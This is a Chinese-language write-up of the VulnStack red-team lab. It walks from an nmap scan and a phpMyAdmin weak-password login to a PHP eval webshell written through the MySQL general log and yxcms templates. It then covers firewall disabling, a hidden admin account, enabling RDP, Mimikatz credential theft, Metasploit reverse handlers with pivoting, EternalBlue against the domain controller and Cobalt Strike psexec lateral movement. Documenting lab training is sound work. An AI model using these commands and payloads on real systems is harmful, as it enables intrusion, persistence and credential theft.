红日实战一:
前言:
VulnStack 是由红日安全团队倾力打造一个靶场知识平台,靶场环境(CMS、漏洞管理、以及域管理等)全部依据国内企业的业务习惯进行模拟,环境设计思路全部来源 ATT&CK 红队评估设计模式,从环境搭建、漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场和设计题目。为了进一步学习内网渗透,本文将学习并记录红日安全团队提供的一个内网域环境靶场的渗透过程。
目录
环境准备:
环境搭建:kali攻击机,win7靶机(服务器),win2008域控,win2003域成员。
网络拓扑图:
网卡配置:vmware
win7:既能通外网也能同内网,所以需要两张网卡
win2008:
win2003:
一.信息收集:
1.端口扫描:
利用kali nmap扫描:发现80和3306端口。
nmap -sV 192.168.31.161
访问 http://192.168.31.161, 发现是php探针,由此判断,该服务是由phpstdy搭建。
2.目录扫描:
使用dimap工具扫描:发现beifen.rar文件和phpmyadmin管理页面,打开beifen.rar发现是yxcms的源代码。
---->发现http://192.168.31.61/yxcms
./dirmap -i http://192.168.31.161 -lcf
使用phpmyadmin爆破攻击,发现弱口令 root/root。
登录后台:
二.web渗透:
到这一步我们要想办法上传木马并且知道上传木马的绝对路径。
1.mysql日志导入木马。
查看日志状态: show variables like '%general%';
开启general_log为True: SET GLOBAL general_log='on';
执行命令指定日志写马: SET GLOBAL general_log_file='C:/phpStudy/www/1.php';
写入一句话到马中: SELECT '<?php eval($_POST["cmd"]);?>';
2.Antsword连接
一句话木马demo.php上传成功,我们尝试用antsword连接,连接成功。
到这,phpmyadmin页面已经是攻击完成了,接下来访问http://192.168.31.61/yxcms页面进行web渗透。
我们用物理机去访问,公告可以看到后台地址是http://192.168.31.161/yxcms/index.php?r=admin,访问并登录。
3.yxcms前台模板写马
在前台模板功能发现可以在php文件里面写入一句话木马,想办法找到木马路径。
在备份文件中找到路径:
4.Antsword连接
Antsword进行连接,连接成功!
到此web渗透结束。
三.内网渗透
目标是通过 Win7 外网服务器主机的现有控制权,横向渗透内网,拿下域控!在此之前需要进行内网信息搜集,摸清内网域组成和网络拓朴。
1.CS部分
1.1创建用户,关闭防火墙
netsh advfirewall set allprofiles state off #win关闭防火墙
net user yzy 1qaz@WSX /add #添加账户密码
net localgroup administrators yzy /add #添加为管理员权限
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 开启3389端口
使用ipconfig,发现内网网段。
1.2.cs上线
kali开启CS服务端,物理机连接。
这里就简称上线三部曲:开启监听——制作木马——wenbshell工具上传执行,,即可完成上线。
将文件设置为隐藏
1.3.提权+收集内网信息
sleep 5 加快相应速度,数字越低越好
shell systeminfo 查看系统版本补丁程序等信息。
发现域名和补丁程序
system上线,提权成功。
可使用 Mimikatz 直接抓取本机用户密码:
1.4域内网信息收集
内网信息收集的主要目的就是查找域控以及域内的其他主机,先附上部分内网信息收集的命令:
net view #查看局域网内其他主机名
net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user #查看本机用户列表
net user /domain #查看域用户
net localgroup administrators #查看本地管理员组(通常会有域用户)
net view /domain #查看有几个域
net user 用户名 /domain #获取指定域用户的信息
net group /domain #查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain #查看域中某工作组
net group "domain admins" /domain #查看域管理员的名字
net group "domain computers" /domain #查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
a.先查看有这台靶机处于几个域,发现只只处于一个域。
shell net view /domain #查看域环境
b.查看域控主机,为owa
net group "domain controllers" /domain #查看域控制主机
c.显示域内其他主机
net view #显示域内其他主机和ip,最好在攻击视图里显示
整理内网信息:
域名:god.org
域内三台主机:OWA、ROOT-TVI862UBEH、STU1(win7)
域控:OWA(192.168.52.138)
域成员:ROOT-TVI862UBEH(192.168.52.141)
win7内网ip:192.168.52.143
2.内网横向渗透:
接下来将通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机。
2.1.CS联动msf
a,kali先打开监听,设置payload,配置ip和端口。
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.31.216
set lport 6666
exploit
b,cs开启新监听
反弹shell到kali。
2.2.判断是不是蜜罐。
run post/windows/gather/checkvm #判断是不是虚拟机(蜜罐)
2.3.静态路由配置
run post/multi/manage/autoroute #加载MSF的autoroute模块,获取当前机器的所有网段信息
run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD #添加目标内网路由
2.4.利用msf模块进行局域网端口扫描。
先background 命令将当前执行的 Meterpreter 会话切换到后台,然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141,发现445端口。(永恒之蓝尝试)
background
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
run
扫描域控主机,发现也存在445端口,准备扫描永恒之蓝
2.5.扫描永恒之蓝
search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
set rhosts 192.168.52.141 #设置被扫描的主机IP
run #进行扫描,观察是否存在该漏洞
发现都有永恒之蓝漏洞:
2.6.永恒之蓝攻击域控获取shell:
!!这里极有可能会打蓝屏,很幸运,没蓝屏并且攻击成功了,但是没有获取shell。。。
这里我个人考虑是有个后台的session1在,导致获取不了shell。
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
下图是攻击成功的示例图:
做法二:CS_psexec横向移动
原理:SMB Beacon:
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线
使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。
使用条件:
具有 Beacon 的主机必须接受 445 端口上的连接。 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
这里直接继续设定监听器,使用抓取的密码进行尝试,使用域账号登录其余主机,先创建隧道:
同样的方法对域成员使用:域成员同样上线,且也是system用户。